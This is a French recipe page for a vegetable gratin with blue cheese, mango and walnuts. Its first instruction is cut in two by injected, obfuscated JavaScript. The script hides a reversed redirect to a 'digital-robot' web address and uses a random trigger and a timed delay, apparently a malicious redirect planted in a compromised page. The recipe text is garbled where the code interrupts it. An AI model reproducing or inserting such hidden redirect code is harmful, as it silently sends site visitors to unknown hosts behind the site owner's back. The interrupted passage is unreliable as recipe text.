Gratin de légumes au bleu d’Auvergne avec des mangues et des cerneaux de noix
2017-11-16- Cuisine : Gratin
- Thématique : Végétarien
- Niveau : Facile
Pelez, coupez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes en cubes. Les plonger dans une eau bouillante salée pendant 15 minutes. Déposez le beurre dans une casserole, sur feu moyen dés que le beurre à fondu incorporez la farine de blé par petites quantités ainsi que le lait froid.
Ingrédients
Pelez, coupez tous les légumes en cubes. Les plonger dans une eau bouillante salée pendant 15 minutes. Déposez le beurre dans une casserole, sur feu moyen dés que le beurre à fondu incorporez la farine de blé par petites quantités ainsi que le lait froid. Salez, poivrez, quelques pincées de noix de muscade, le bleu de Saint- agur. Faites cuire pendant quelques minutes tout en remuant. Versez tous les légumes dans un plat à gratin beurré, déposez les noix concassées. Recouvrir de béchamel et de chapelure. Préchauffez le four à 210° C thermostat 7. Enfournez et faites cuire dorer pendant 10 à 15 minutes environ. Dégustez. Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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